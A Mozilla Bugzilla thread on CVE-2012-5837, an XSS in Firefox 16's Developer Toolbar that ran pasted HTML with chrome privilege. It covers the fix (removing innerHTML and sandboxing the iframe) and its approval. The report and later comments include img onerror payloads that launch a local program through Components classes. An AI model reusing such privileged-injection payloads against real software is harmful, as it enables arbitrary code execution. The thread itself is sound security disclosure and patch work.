Bug 800363 (CVE-2012-5837)

XSS in Web Developer Toolbar's chrome privilege page

VERIFIED FIXED in Firefox 17

Status

defect
VERIFIED FIXED
7 years ago
a year ago

People

(Reporter: masatokinugawa, Assigned: jwalker)

Tracking

({sec-high})

16 Branch
Firefox 19
x86
Windows Vista
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox16 wontfix, firefox17+ fixed, firefox18+ fixed, firefox19+ verified, firefox-esr10 unaffected)

Details

(Whiteboard: [adv-track-main17+])

Attachments

(4 attachments, 3 obsolete attachments)

Reporter

Description

7 years ago
User Agent: Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20100101 Firefox/16.0
Build ID: 20121005155445

Steps to reproduce:

1. Open Developer Toolbar(Shift+F2).
2. Copy and paste <img	src="x"	onerror="alert(1)"> to toolbar input box.(Whitepaces are Tab chars)
3. You can see "1" from chrome:// URI. This means JavaScript is run as chrome privilege.
The following code runs calc.exe on Windows.

<img	src="x"	onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('C:\\\\windows\\\\system32\\\\calc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');">



Expected results:

JavaScript should not be run.

Updated

7 years ago
Component: Untriaged → Developer Tools
Confirmed that calc.exe does launch on Fx16.0
Status: UNCONFIRMED → NEW
Ever confirmed: true
confirmed. That's... something.
Keywords: sec-high
Posted patch v1Splinter Review
I've been talking to mgoodwin about this patch for a while. As far as I can tell, it reduces the use of innerHTML to only that which is required to have commands able to create HTML.
Assignee: nobody → jwalker
Status: NEW → ASSIGNED
Attachment #671062 - Flags: review?(mgoodwin)
Attachment #671062 - Flags: review?(dcamp)
Mark: As far as I can tell, the menu issue that we discussed isn't exploitable. I've used createTextNode, and we're returning a DOM rather than string-concat and HTML.

menu.js:156

      var before = value.substr(0, startMatch);
      var after = value.substr(startMatch + match.length);
      var parent = document.createElement('span');
      parent.appendChild(document.createTextNode(before));
      var highlight = document.createElement('span');
      highlight.classList.add('gcli-menu-typed');
      highlight.appendChild(document.createTextNode(match));
      parent.appendChild(highlight);
      parent.appendChild(document.createTextNode(after));
      return parent;
Also, I'm not sure if we attempt to hide fixes with sec-high, but in case we do, I've planned that we can land this in with bug 798458, so this can land as innocuously as possible.
Comment on attachment 671062 [details] [diff] [review]
v1

It looks like the setTextContent helper will do the wrong thing if the element already contains another child text node - it should probably remove all children first?
(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #9)
> Comment on attachment 671062 [details] [diff] [review]
> v1
> 
> It looks like the setTextContent helper will do the wrong thing if the
> element already contains another child text node - it should probably remove
> all children first?

The implementation of setTextContent() is:

  exports.clearElement(elem);
  var child = elem.ownerDocument.createTextNode(text);
  elem.appendChild(child);

Where clearElement() is:

  while (elem.hasChildNodes()) {
    elem.removeChild(elem.firstChild);
  }

I think we should be removing all childNodes, not all children, because children implies Element children?
I meant all child nodes, yes - I just misread the patch. Nevermind!
(In reply to Tanvi Vyas from comment #5)
> Would this feature have prevented this -
> https://wiki.mozilla.org/Security/Features/Apply_CSP_Chrome_Pages ?

Yes.
Comment on attachment 671062 [details] [diff] [review]
v1

Review of attachment 671062 [details] [diff] [review]:
-----------------------------------------------------------------

r+ contingent on mgoodwin's.
Attachment #671062 - Flags: review?(dcamp) → review+
Comment on attachment 671062 [details] [diff] [review]
v1

Review of attachment 671062 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good.
Attachment #671062 - Flags: review?(mgoodwin) → review+
I've just been experimenting with an additional pair of braces which added type="content" to the iframe in question. I couldn't get this to work, and it could be for one of 3 reasons:
- My attack script is broken
- The iframe in question is an html:iframe not a xul:iframe (because of bugs in xul:panel) and type=content doesn't work with html:iframes
- Both of the above

My attack script is:
<img	src="x"	onerror="file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('/Applications/Calculator.app/Contents/MacOS/Calculator');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(false,'','');"/>

(again with tabs in place of spaces)
Posted patch type=content (obsolete) — Splinter Review
Non functioning experiment setting type=content on the iframe in question (and another)
For posterity.
Comment on attachment 671062 [details] [diff] [review]
v1

[Security approval request comment]
How easily can the security issue be deduced from the patch?

- fairly

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

- no

Which older supported branches are affected by this flaw?

- all since ff15

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

- could be quite hard

How likely is this patch to cause regressions; how much testing does it need?

- it changes how we interact with hint strings, some testing required


I'm not sure where we should apply this. On one hand chrome level exploits are serious, on the other, there is a similar issue (disguised as a feature) in every version of windows that I'm aware of (win+r,ctrl+v) which does not seem to be significantly exploited.
Attachment #671062 - Flags: sec-approval?
fwiw, I've queued this up to land in bug 798458
(In reply to Joe Walker [:jwalker] from comment #15)
> - The iframe in question is an html:iframe not a xul:iframe (because of bugs
> in xul:panel) and type=content doesn't work with html:iframes

mozframetype="content" does, though, since bug 769771.
Posted file mozframetype=content (obsolete) —
Updated patch with mozframetype=content. Still doesn't work though, or maybe my attack script is still wrong? I'm using:

<img	src="x"	onerror="alert(Components.classes);"/>

I would expect to get the message 'undefined' if this was really content.
Attachment #672383 - Attachment is obsolete: true
(In reply to Joe Walker [:jwalker] from comment #20)
> I would expect to get the message 'undefined' if this was really content.

So would I.
(Components.stack throws rather than returning undefined in an unprivileged context.)

I didn't realize you were loading a chrome:// document in the iframe - in that case it doesn't matter what its docshell type is, you'll get chrome privileges. One way to work around that is to create about: URIs for those resources that aren't privileged.
(In reply to :Gavin Sharp (use gavin@gavinsharp.com for email) from comment #22)
> (Components.stack throws rather than returning undefined in an unprivileged
> context.)

So either way we would know if we have privs, right? My double-check was to do "alert(Components.classes);" from the webconsole and I got 'undefined'. Maybe things are different there.

> I didn't realize you were loading a chrome:// document in the iframe - in
> that case it doesn't matter what its docshell type is, you'll get chrome
> privileges. One way to work around that is to create about: URIs for those
> resources that aren't privileged.

Ah - I see. Thanks.
We could even think about using an empty doc (about:blank?) and DOM hacking it into shape. it's not like the docs are complex:

https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlineoutput.xhtml
https://hg.mozilla.org/integration/fx-team/file/f39343285fc1/browser/devtools/commandline/commandlinetooltip.xhtml
One technique to make use of the existing documents without use of chrome URLs is to create a DATA: URL from them.  If the src attribute is set post creation, the iframe apparently isn't trusted.
(In reply to Mark Goodwin [:mgoodwin] from comment #24)
> Created attachment 673277 [details] [diff] [review]
> using commandlineoutput.xhtml, etc. without chrome URLs

To make it clear: Obviously, I'd recommend handling the data correctly in the first place; this is not an either / or thing.
Comment on attachment 671062 [details] [diff] [review]
v1

sec-approval+
Attachment #671062 - Flags: sec-approval? → sec-approval+
(In reply to Daniel Veditz [:dveditz] from comment #26)
> Comment on attachment 671062 [details] [diff] [review]
> v1
> 
> sec-approval+

I don't think it's automatic that we should apply this to aurora/beta because it contains string changes. I suggest that we land this fix on Nightly, and find some version of the priv patch to land on Nightly/Aurora/Beta.

Does that makes sense?

I can see 3 alternative methods of making the priv patch work:
- The data: URL hack
- about: pages
- DOM manipulation

While Mark's solution is nicely concise, I also think it's an abuse. I made a quick semi-functioning DOM manipulation solution yesterday, but I'm not 100% happy with it, and suspect that the about: solution could be better.
Comment on attachment 671062 [details] [diff] [review]
v1

Given Joe's comment, it sounds like he may be blocked for landing on coming up with a final solution for branches. Joe - you're correct we don't want to take a string change for a security fix.

Re-nominating for sec-approval to see if we should wait on landing until that final solution has been created.
Attachment #671062 - Flags: sec-approval+ → sec-approval?
I'd like to know what we're going to do for branches before giving it sec-approval+.
Posted patch drop privs using sandbox="" (obsolete) — Splinter Review
Attachment #672745 - Attachment is obsolete: true
Attachment #676700 - Flags: review?(mgoodwin)
Attachment #676700 - Flags: review?(dcamp)
(In reply to Al Billings [:abillings] from comment #29)
> I'd like to know what we're going to do for branches before giving it
> sec-approval+.

The plan is to land attachment 676700 [details] [diff] [review] on branches, and attachment 671062 [details] [diff] [review] on central.
I don't know if submerge is important, but I'm planning on using bug 806821 in order to land attachment 676700 [details] [diff] [review]. (and still using bug 798458 for attachment 671062 [details] [diff] [review]).
Comment on attachment 676700 [details] [diff] [review]
drop privs using sandbox=""

Review of attachment 676700 [details] [diff] [review]:
-----------------------------------------------------------------

r+ as a devtools peer, would like mgoodwin to weigh in on the security fix.
Attachment #676700 - Flags: review?(dcamp)
Attachment #676700 - Flags: review?(mgoodwin) → review+
Comment on attachment 676700 [details] [diff] [review]
drop privs using sandbox=""

[Security approval request comment]
How easily can the security issue be deduced from the patch?

  the word 'sandbox' might be a clue. Have prepared a submerge

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

  No

Which older supported branches are affected by this flaw?

  all since ff15

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

  It should be easy to land this patch on other branches. Not checked.

How likely is this patch to cause regressions; how much testing does it need?

  I think our unit tests and some quick visual checks should be enough

(Note: My testing so far as extended to verifying that it fixes the security problem, but it hasn't passed try. Obviously I'll check it does before landing anywhere)
Attachment #676700 - Flags: sec-approval?
Attachment #676700 - Flags: sec-approval? → sec-approval+
It turned out that sandbox="allow-same-origin" was needed for correct GCLI operation.

Green on try. https://tbpl.mozilla.org/?tree=Try&rev=fa919472c882
Landing soon
Attachment #676700 - Attachment is obsolete: true
Attachment #677440 - Flags: review?(mgoodwin)
Comment on attachment 677440 [details] [diff] [review]
drop privs using sandbox="allow-same-origin"

Review of attachment 677440 [details] [diff] [review]:
-----------------------------------------------------------------

Still looks good
Attachment #677440 - Flags: review?(mgoodwin) → review+
Al - I'd like to carry the sec-approval+ for the sandbox patch (677440) ok?
Please could you do sec-approval+ for the innerHTML patch (671062)

I'm also trying out the "Need additional information from" thing. I hope it doesn't turn out to be a bad idea.
Flags: needinfo?(abillings)
Joe, are you sure it is bug 671062? 

I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on it, please?
Flags: needinfo?(abillings)
(In reply to Al Billings [:abillings] from comment #39)
> Joe, are you sure it is bug 671062? 
> 
> I can't see bug 677440 so it is hard to give an opinion. Can I be cc'd on
> it, please?

They're attachment numbers:
* attachment 677440 [details] [diff] [review]
* attachment 671062 [details] [diff] [review]
Just to be clear of the plan:

Attachment 677440 [details] [diff] adds the sandbox attribute. It's planned to land on central and then on branches. It is an minor update to a676700 which you gave sec-approval+ to just after comment 34.

Attachment 671062 [details] [diff] curtails use of innerHTML. It's planned to land on central only because it involves string changes. It had sec-approval+ in comment 26, but this was taken away in comment 28 and comment 29 because we didn't have the sandbox patch ready.
Comment on attachment 671062 [details] [diff] [review]
v1

Thank you for clarifying. Yes, get these both in. Sec-approval+
Attachment #671062 - Flags: sec-approval? → sec-approval+
Both patches landed in submerged bugs.
Status: ASSIGNED → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
Target Milestone: --- → Firefox 19
Are these safe to uplift?  Please nominate asap if low-risk enough to take before our last beta.
Comment on attachment 677440 [details] [diff] [review]
drop privs using sandbox="allow-same-origin"

[Approval Request Comment]
Bug caused by (feature/regressing bug #): Bug 800363
User impact if declined: Security risk
Testing completed (on m-c, etc.): On m-c
Risk to taking this patch (and alternatives if risky): This is sg-high
String or UUID changes made by this patch: None
Attachment #677440 - Flags: approval-mozilla-beta?
Attachment #677440 - Flags: approval-mozilla-aurora?
Attachment #677440 - Flags: approval-mozilla-beta?
Attachment #677440 - Flags: approval-mozilla-beta+
Attachment #677440 - Flags: approval-mozilla-aurora?
Attachment #677440 - Flags: approval-mozilla-aurora+
(In reply to Joe Walker [:jwalker] from comment #46)

> Risk to taking this patch (and alternatives if risky): This is sg-high

This approval is contigent on a low-risk evaluation of the landing for this code, not the risk of the bug itself.  Please confirm that this patch passes tests and has low risk for regressions on branches.
Flags: needinfo?(jwalker)
(In reply to Lukas Blakk [:lsblakk] from comment #47)
> (In reply to Joe Walker [:jwalker] from comment #46)
> 
> > Risk to taking this patch (and alternatives if risky): This is sg-high
> 
> This approval is contigent on a low-risk evaluation of the landing for this
> code, not the risk of the bug itself.  Please confirm that this patch passes
> tests and has low risk for regressions on branches.

The patch has been on central for a while without being backed out, or reports of intermittent orange.

This patch seems to pass tests on beta (https://tbpl.mozilla.org/?tree=Try&rev=f76ef2036f13 and https://tbpl.mozilla.org/?tree=Try&rev=99055e9243ff) and aurora (https://tbpl.mozilla.org/?tree=Try&rev=ef00616e4d53) There are a significant number of test failures for Android which is puzzling to me since Android doesn't use this code at all.

I have also manually tested that this code prevents the exploit (from comment 20) on both beta and central.
Flags: needinfo?(jwalker)
My reading of comment 47 is that I need further approval before I push this. Also I'd like confirmation that the android test failures are expected.

I'm attaching the patch should someone wish to push this while I'm not around.
Flags: needinfo?(lsblakk)
Comment 48 addresses the concern, thank you. I'm also not clear on why there are so many android test failures on your push - obviously if those appear on push to branches we'd want to investigate more but it could be a result of pushing branches other than m-c to try or something else unrelated.  In any case, we're going to build tomorrow for the final beta so please do push these to branches so we know where we stand tomorrow.
Flags: needinfo?(lsblakk)
Status for the sandbox fix (attachment 677440 [details] [diff] [review]/attachment 680480 [details] [diff] [review])

Push to Nightly (via fx-team):
  https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024

Push to Aurora:
  https://tbpl.mozilla.org/?tree=Mozilla-Aurora&rev=ec566743b99c

Push to Beta:
  https://tbpl.mozilla.org/?tree=Mozilla-Beta&rev=5c9450a082aa


Status for the innerHTML fix (attachment 671062 [details] [diff] [review])

Push to Nightly (via fx-team):
  https://tbpl.mozilla.org/?tree=Fx-Team&rev=6337e18d0024

Not pushing to Aurora/Beta


It looks from the results from beta so far that the android failures are probably a configuration issue with a non-central push to try.
Alias: CVE-2012-5837
Whiteboard: [adv-track-main17+]
Group: core-security
I reproduced the problem on FF 16.0.2 using the STR in comment 0.
Verified fixed FF 19 RC on Win 7, Ubuntu 12.04 and Mac OS X 10.6.
Status: RESOLVED → VERIFIED
Keywords: verifyme
Flags: sec-bounty+

Updated

a year ago
Product: Firefox → DevTools
You need to log in before you can comment on or make changes to this bug.